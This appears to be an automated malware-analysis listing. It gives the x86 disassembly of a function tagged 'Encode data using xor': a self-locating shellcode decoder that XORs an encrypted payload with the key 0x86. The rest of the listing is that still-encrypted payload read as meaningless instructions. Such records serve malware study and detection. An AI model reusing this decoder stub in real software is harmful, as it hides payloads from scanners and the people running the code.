Function at 0xf36780
Capabilities:
Encode data using xor

Disassembly:
jmp 0xf3678a
pushal
call 0xf36790
pop ebp
sub ebp, 0x10
sub ebp, 0xb36780
jmp 0xf367a6
mov eax, 0xb36780
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c5
mov edx, 0x709aa86
xor byte [eax], dl
inc eax
dec ecx
jne 0xf367bd
invalid
jmp 0xf367d0
or eax, 0xba0f0d4b
xchg byte [esi + 0x7e470786], al
xchg byte [esi + 0x3e4b8586], al
add byte [esi - 0x51c3797a], 0x86
xchg byte [esi + 0x4e856471], al
or eax, 0x86868a07
xchg byte [ebp - 0x5d1df4bd], al
jp 0xf3680a
and byte [edx + 0x7aa2e20b], 0xf
and byte [edx - 0x59aaf512], 0x86
out dx, al
je 0xf36821
adc al, 0x86
xchg dword [edx - 0x36aa115e], ebp
sub edx, 0x8686836e
xchg byte [edi - 0x4e], ch
xchg byte [esi - 0x5d1df47a], al
xchg byte [esi + 0x7aa2e20b], al
rsm
loop 0xf367c5
jp 0xf36834
stosb byte es:[edi], al
mov byte [0x30ddbd2], al
mov es, word [esi + 0x130d8686]
mov al, byte [esi + 0xb0d8686]
xchg esi, eax
xchg byte [esi - 0x7b90b87a], al
mov bh, 0x84
add eax, 0x89cf8244
add esi, dword [edx + 0x79]
jns 0xf368c3
xchg byte [0x8686960b], cl
xchg byte [edi + 0x6f], al
test byte [edi - 0x7dbbfa7c], dh
iretd
or eax, 0xe20ba2aa
mov byte [0x868a4482], al
or eax, 0x8682a20a
xchg byte [esi - 0x59aaf512], al
xchg dh, ch
je 0xf36878
adc al, 0x86
xchg dword [edx - 0x5d1df45e], ebp
jp 0xf3687c
mov byte [0x7aa2e20b], al
jp 0x8776d714
mov ah, byte [edx - 0x79797c92]
xchg byte [edi - 0x39], ch
test byte [esi - 0x5d1df47a], al
xchg byte [esi - 0x797b3891], al
xchg byte [ebx], cl
loop 0xf3681e
or esp, edx
mov byte [0xa2aa0f7a], al
jp 0xf3688d
stosb byte es:[edi], al
mov byte [0x86a2ea0b], al
jns 0xf36879
or ebp, edx
mov byte [0x8af37986], al
jns 0xf3687c
mov bh, byte [ecx - 0xd]
mov gs, word [esi - 0x16]
xchg byte [esi - 0x71c4f27a], al
xchg byte [esi - 0x4ab04a7a], al
push esp
xchg byte [esi - 0x7971c4f3], al
xchg byte [esi + 0x54b54fb5], al
add eax, 0x89ce836e
add cl, al
xchg byte [esi - 0x31f1767a], al
xchg byte [esi - 0x65f21f7a], al
mov edi, 0x896e7d06
add bl, byte [esi + eax*4 + 0x7d068686]
outsd dx, dword [esi]
mov dword [edx], eax
xchg edi, eax
xchg byte [esi + 0x7d07e086], al
jns 0xf36867
mov dword [0x86930289], eax
xchg byte [esi + 0x794a6fc7], al
jns 0xf36949
mov dword [edx], eax
xchg ebx, eax
xchg byte [esi + 0x4a6fc786], al
jns 0xf36948
jns 0xf36880
scasd eax, dword es:[edi]
retf 0x87bf
push esp
mov dword [ebx], eax
add dword [esi - 0x6ff3797a], 0xffffffc0
xchg esp, eax
push esp
mov dword [0x868687ac], eax
test byte [ecx + ecx*4 + 3], dl
add dword [esi - 0x6ff3797a], 0xffffffc0
xchg esp, eax
push esp
xchg ebp, eax
inc esi
test byte [ecx + ecx*4 + 3], dl
add dword [esi - 0x6ff3797a], 0xffffffc0
xchg esp, eax
push esp
xchg ebp, eax
inc esi
test byte [ecx + ecx*4 + 3], dl
add dword [esi - 0x6ff3797a], 0xffffffc0
xchg esp, eax
push esp
xchg ebp, eax
inc esi
test byte [ecx + ecx*4 + 3], dl
add dword [esi - 0x6ff3797a], 0xffffffc0
xchg esp, eax
push esp
xchg ebp, eax
inc esi
mov dword [edx], eax
add byte [esi + 0x590d8686], 0xad
pop esi
or al, 0x85
push cs
add ecx, 0x8686843d
xchg byte [edi - 0xa], ch
jns 0xf36a27
jns 0xf369ee
xchg dword [esi + 0x54848686], eax
mov dword [ebx], eax
add dword [esi - 0x6ff3797a], 0xffffffc0
xchg esp, eax
push esp
xchg ebp, eax
inc esi
test byte [ecx + ecx*4 + 3], dl
add dword [esi - 0x6ff3797a], 0xffffffc0
xchg esp, eax
push esp
mov dword [eax + ebx*2], eax
jns 0xf36a4e
jns 0xf36984
inc ebp
cmp eax, 0x86868687
mov dword [ebx], eax
mov dl, 0x86
xchg byte [esi - 0x794dfc77], al
xchg byte [ecx - 0x79794dfd], cl
xchg byte [edi], bh
xchg dword [esi + 0x54848686], eax
mov dword [ebx], eax
add dword [esi - 0x6ff3797a], 0xffffffc0
xchg esp, eax
xchg byte [esi - 0x797978c1], al
xchg byte [esp + edx*2 - 0x797cfc77], al
xchg byte [esi - 0x6b3f6ff4], al
push esp
xchg ebp, eax
dec edi
test byte [ecx + ecx*4 + 3], dl
add dword [esi - 0x6ff3797a], 0xffffffc0
xchg esp, eax
push esp
mov dword [eax + ebx*2], eax
jns 0xf36a82
jns 0xf369db
or eax, 0x7573ad71
and bl, al
outsd dx, dword [esi]
invalid
mov dword [ebx], eax
add dword [esi - 0x6ff3797a], 0xffffffc0
xchg esp, eax
push esp
xchg ebp, eax
dec edi
test byte [ecx + ecx*4 + 3], dl
add dword [esi - 0x6ff3797a], 0xffffffc0
xchg esp, eax
push esp
mov dword [eax + ebx*2], eax
jns 0xf36abf
jns 0xf36a4f
jle 0xf369d0
sti
xchg byte [esi + 0x79795f07], al
pop edi
jns 0xf36aca
jns 0xf36acc
pop es
jle 0xf369dc
add dword [esi + 0x795f0786], 0x79
jns 0xf36ad8
pop es
jle 0xf36a68
xchg byte [esi - 0x79a8f87a], al
xchg byte [esi + 0x67e0786], al
xchg byte [esi - 0x79a8f87a], al
xchg byte [esi + 0x710dd086], al
lodsd eax, dword [esi]
jbe 0xf36af2
and bl, al
outsd dx, dword [esi]
sbb eax, 0xc797978
add al, 0xb5
jns 0xf36afd
or al, 0x80
sal byte [ebp - 0x7891b9b1], 0x89
add bl, byte [esi + eax*4 + 0x57078686]
dec edi
inc esi
outsb dx, byte [esi]
xchg dword [ecx - 0x797963fe], ecx
xchg byte [edi], al
push edi
test byte [esi + 0x6e0d8686], al
ror byte [0x7576ad71], 1
and bl, al
cmp eax, 0x86868687
outsd dx, dword [esi]
cmc
js 0xf36b24
jns 0xf36a88
lodsd eax, dword [esi]
sti
mov cs, word [0xdd8d941]
arpl bx, bx
inc esp
mov es, word [esi - 0x7d902727]
xchg byte [esi + 0x60425786], al
inc esi
xchg byte [esi + 0x46604257], al
push es
loope 0xf36afe
xchg byte [ebp - 0x12b9f8bd], al
test dword [ebx + 7], eax
pop es
inc esi
in eax, dx
test dword [esi - 0x7bdfc07a], eax
xchg byte [esi - 0x55f5fec4], al
add dword [edx], ecx
stosb byte es:[edi], al
cli
mov dh, 0x96
invalid
jg 0xf36b31
mov bh, byte [ebp + 0x101a136]
add dword [edx], eax
dec dword [edx + 0x718a97df]
cmp eax, 0x31858a97
xor eax, 0x2a010101
mov bl, bh
xchg edi, eax
mov dh, byte [ecx + 0x3d]
xchg edi, eax
fist word [edi - 0x68c28e76]
mov al, byte [ebp + 0x1013531]
add dword [edx], ebp
invalid
add dword [ecx], eax
add dword [eax + 0x10109e8], eax
add dword [eax + 0x10101f8], eax
add dword [esi], ecx
add dword [ecx], eax
push cs
test ebp, edx
invalid